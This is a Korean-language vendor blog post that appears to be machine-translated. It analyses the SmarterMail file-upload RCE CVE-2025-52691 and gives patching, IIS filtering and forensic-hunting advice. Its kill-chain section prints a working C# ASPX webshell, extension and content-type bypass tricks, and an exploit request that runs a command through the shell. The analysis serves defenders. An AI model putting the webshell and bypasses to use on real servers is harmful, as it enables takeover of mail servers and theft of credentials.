펜리젠트 헤더

새해 전야의 악몽: CVE-2025-52691 스마터메일 RCE의 해부학

2025년으로 다가온 지금, 사이버 보안 커뮤니티는 치명적인 마지막 도전에 직면해 있습니다. 12월 30일, 싱가포르 사이버 보안국(CSA)은 다음과 같은 중대한 경고를 발표했습니다. CVE-2025-52691의 취약점을 발견했습니다. 스마터툴 스마터메일 최대 심각도 등급을 표시합니다: CVSS 10.0.

레드 팀원들에게 이 취약점은 '성배'와 같은 존재입니다. 인증되지 않은 임의 파일 업로드 로 직접 연결됩니다. 원격 코드 실행(RCE) as 시스템. 블루팀과 시스템 관리자에게는 기업 커뮤니케이션 인프라의 무결성에 대한 즉각적이고 실존적인 위협입니다.

이것은 이론적인 우회나 복잡한 경쟁 조건이 아닙니다. 이는 입력 처리의 근본적인 구조적 결함입니다. 이 문서에서는 이 취약점에 대한 포렌식 분석을 통해 .NET 엔드포인트가 실패하는 방식, IIS가 악성 페이로드를 처리하는 방식, 최신 AI 기반 보안이 이러한 위협이 무기화되기 전에 식별하는 방법을 자세히 설명합니다.

위협 환경: CVE-2025-52691이 다른 이유

SmarterMail은 널리 배포된 Exchange 대안으로, 특히 MSP(관리 서비스 제공업체)와 중견 기업이 선호합니다. 이 솔루션은 다음에서 실행됩니다. Windows/IIS/.NET 스택. 권한으로 파일 업로드의 손상을 제한할 수 있는 Linux 기반 메일 서버와 달리 Windows IIS 환경은 관대하지 않은 것으로 악명이 높습니다.

취약점 인텔리전스 카드

Metric인텔리전스 세부 정보
CVE 식별자CVE-2025-52691
취약성 등급무제한 파일 업로드(CWE-434)
공격 벡터네트워크(원격)
필요한 권한없음(인증되지 않음)
사용자 상호 작용없음
영향을 받는 빌드SmarterMail 9406 및 이전 버전
해결 방법즉시 빌드 9413+로 업데이트

여기서 위험은 공격 표면. 메일 서버는 정의상 공용 인터넷에 노출되어 있습니다. 인증이 전혀 필요하지 않고 안정적인 셸을 제공하는 취약점은 자동화된 봇넷이 PoC 공개 후 몇 시간 내에 수천 대의 서버를 손상시킬 수 있음을 의미합니다.

CVE-2025-52691 스마터메일 RCE의 해부학

기술 심층 분석: 결함의 메커니즘

CVE-2025-52691의 작동 방식을 이해하려면 SmarterMail이 HTTP 요청을 처리하는 방식을 분석해야 합니다. 이 취약점은 파일 첨부 또는 사용자 업로드를 처리하도록 설계된 특정 API 엔드포인트에 존재합니다.

사라진 '게이트키퍼'

보안 .NET 응용 프로그램에서 모든 컨트롤러 동작 처리 파일은 다음과 같이 장식해야 합니다. [권한 부여] 속성과 엄격한 파일 유효성 검사 로직을 사용합니다. CVE-2025-52691이 존재하는 이유는 특정 핸들러(예: 일반적인 .ashx 핸들러 또는 REST API 경로가 이러한 검사 없이 노출되었습니다.

POST 요청이 이 엔드포인트에 도달하면 서버는 다음과 같이 처리합니다. 멀티파트/양식 데이터 스트림.

취약한 코드 패턴(재구성)

정확한 소스 코드는 독점적이지만 표준 .NET 취약성 클래스를 기반으로 취약성 패턴을 재구성할 수 있습니다. 이 결함은 다음 C# 로직과 유사할 가능성이 높습니다:

C#

`public class LegacyUploadHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { // 치명적 결함: 세션 확인 또는 인증 확인 없음 // if (context.Session["User"] == null) return; <- MISSING

    HttpPostedFile file = context.Request.Files["upload"];
    문자열 fileName = file.FileName;

    // 치명적 결함: 파일 경로에 대한 사용자 입력 신뢰
    // .aspx, .exe, .config에 대한 화이트리스트 검사 없음
    string savePath = context.Server.MapPath("~/App_Data/Temp/" + fileName);

    file.SaveAs(savePath);
}

}`

IIS 실행 파이프라인

파일 업로드가 치명적인 이유는 무엇인가요? PHP에서는 .htaccess. Python에서는 스크립트를 업로드하고 실행할 수 없습니다. 하지만 ASP.NET IIS에서 실행로 설정하면 동작이 달라집니다.

공격자가 파일을 첨부할 수 있는 경우 .aspx 또는 .ashx 확장자를 스크립트 실행을 허용하는 디렉터리(대부분의 웹 디렉터리의 기본값)에 추가하고, IIS 작업자 프로세스(w3wp.exe)가 해당 파일을 컴파일합니다. 적시 납품(JIT) 에 대한 첫 번째 HTTP 요청 시

  1. 공격자 업로드 shell.aspx.
  2. 공격자 요청 GET /App_Data/Temp/shell.aspx.
  3. IIS 확장자를 확인하면 CLR(공용 언어 런타임)을 호출합니다.
  4. CLR 내부 코드를 컴파일합니다. shell.aspx 를 클릭하고 실행합니다.
  5. RCE 달성.
새해 전야의 악몽: CVE-2025-52691 스마터메일 RCE의 해부학

킬 체인: 디스커버리에서 시스템 셸까지

이 공격 경로를 시뮬레이션하는 보안 엔지니어의 경우, 킬 체인은 네 가지 단계를 거칩니다.

1단계: 정찰

공격자가 SmarterMail 지문을 검색합니다.

  • 헤더: Server: Microsoft-IIS/10.0, X-Powered-By: ASP.NET
  • 제목: SmarterMail 로그인
  • 엔드포인트 프로빙: 다음과 같은 알려진 업로드 엔드포인트에 대해 퍼징을 수행합니다. /api/V1/설정/업로드, /파일저장소/업로드.ashx또는 레거시 SOAP 엔드포인트.

2단계: 무기화

공격자는 "웹셸"을 생성합니다. 일반적인 C# 웹쉘 페이로드는 다음과 같습니다:

<%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { if (!string.IsNullOrEmpty(Request.QueryString["cmd"])) { Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); p.WaitForExit(); } } </script>

3단계: 전달(익스플로잇)

공격자가 POST 요청을 보냅니다.

  • 바이패스 기술: 서버가 콘텐츠 유형을 확인하면 공격자는 헤더를 다음과 같이 수정합니다. 콘텐츠 유형: 이미지/jpeg. 서버가 확장자를 확인하지만 논리 오류(예: 처음 3개 문자만 확인)가 있는 경우 공격자는 shell.aspx.jpg 또는 NTFS 대체 데이터 스트림 트릭(shell.aspx::$DATA).

4단계: 익스플로잇

공격자가 셸에 액세스합니다:

https://mail.target.com/shell.aspx?cmd=whoami

응답: NT 권한\\시스템

이 시점에서 게임은 끝났습니다. 공격자는 LSASS 프로세스를 덤프하여 관리자 자격 증명을 얻거나 랜섬웨어를 설치하거나 도메인 컨트롤러로 피벗할 수 있습니다.

논리 결함을 탐지하는 AI의 역할: 펜리젠트 접근법

기존의 DAST(동적 애플리케이션 보안 테스트) 도구는 다음과 같은 취약점을 찾는 데 어려움을 겪는 것으로 악명이 높습니다. CVE-2025-52691 스타일 버그. 왜 그럴까요?

  1. 컨텍스트 블라인드: 스캐너는 크롤링 링크에 의존합니다. HTML에 링크되지 않은 API 엔드포인트(숨겨진 엔드포인트)는 스캐너에 보이지 않습니다.
  2. 파괴에 대한 두려움: 스캐너는 애플리케이션이 손상되거나 관리자에게 알려질까 봐 파일 업로드를 주저합니다.

여기에서 Penligent.ai 는 공격 보안 팀의 패러다임 전환을 의미합니다. 펜리전트는 다음을 활용합니다. AI 기반 논리 분석 단순한 패턴 매칭이 아닌

  1. 발견할 수 없는 것의 발견

펜리젠트의 에이전트는 클라이언트 측 JavaScript 번들과 컴파일된 DLL(액세스 가능한 경우)을 분석하여 API 맵을 재구성합니다. 명시적으로 연결되지 않은 업로드 핸들러의 존재를 추론하여 CVE-2025-52691과 같은 취약점이 숨어 있는 '섀도 API'를 효과적으로 찾아냅니다.

  1. 비파괴적 착취 증명

펜리전트는 악성 웹쉘을 업로드하는 대신 양성 마커 파일(예: 고유하고 무작위화된 해시가 있는 텍스트 파일)을 생성합니다. 업로드를 시도한 다음 공개 URL을 통해 특정 해시를 검색할 수 있는지 확인합니다. 이렇게 하면 무제한 파일 업로드 취약점(CWE-434)이 100%의 확실성과 RCE 또는 서비스 중단 위험이 전혀 없는 것으로 확인됩니다.

CISO에게 이는 이론적인 '보통' 위험 보고서와 즉각적인 패치가 필요한 확인된 '심각' 결과의 차이를 의미합니다.

개선 및 강화 전략

SmarterMail을 운영 중이라면 시간과의 싸움을 하고 있는 것입니다.

  1. 즉시 패치 적용

지금 바로 빌드 9413으로 업그레이드하세요. 이번 릴리스에서는 엄격한 인증 검사 및 화이트리스트 기반 파일 확장자 유효성 검사를 구현했습니다.

  1. IIS 요청 필터링(임시 완화)

즉시 패치를 적용할 수 없는 경우 웹 서버 수준에서 공격 벡터를 차단해야 합니다. IIS 요청 필터링을 사용하여 업로드 디렉터리의 .aspx 파일에 대한 액세스를 거부합니다.

  • 액션: IIS 관리자 -> 요청 필터링 -> URL 탭 -> 시퀀스 거부에서.
  • 규칙: 다음에 대한 요청 차단 /App_Data/*.aspx 또는 /파일저장소/*.aspx.
  1. 포렌식 헌팅

이미 감염되었을 수 있다고 가정합니다. 파일 시스템에서 검색합니다:

  • 로 끝나는 파일 .aspx, .ashx, .cer, .soap 12월 29일부터 오늘 사이에 생성되었습니다.
  • IIS 로그(u_ex*.log)를 사용하여 알 수 없는 IP 주소에서 오는 엔드포인트를 업로드하는 POST 요청을 처리하고, 바로 이어서 새 파일에 대한 GET 요청을 처리합니다.

결론

CVE-2025-52691 는 소프트웨어의 세계에서 편리함은 종종 보안의 대가를 치른다는 사실을 극명하게 보여줍니다. '사소한' 파일 업로드 핸들러에서 단 한 번의 인증 확인 누락으로 수백만 달러의 방화벽 및 EDR 투자가 무용지물이 될 수 있습니다.

2026년으로 접어들면서 공격의 복잡성은 더욱 증가할 것입니다. 보안 엔지니어는 수동 체크리스트에서 벗어나 자동화된 지능형 검증 도구를 도입해야 합니다. 오늘 밤 패치를 적용하든 내일 AI 기반 테스트를 배포하든, 공격자가 침입하기 전에 문을 닫는다는 목표는 동일합니다.

신뢰할 수 있는 참고 자료 및 추가 자료

게시물을 공유하세요:
관련 게시물
ko_KRKorean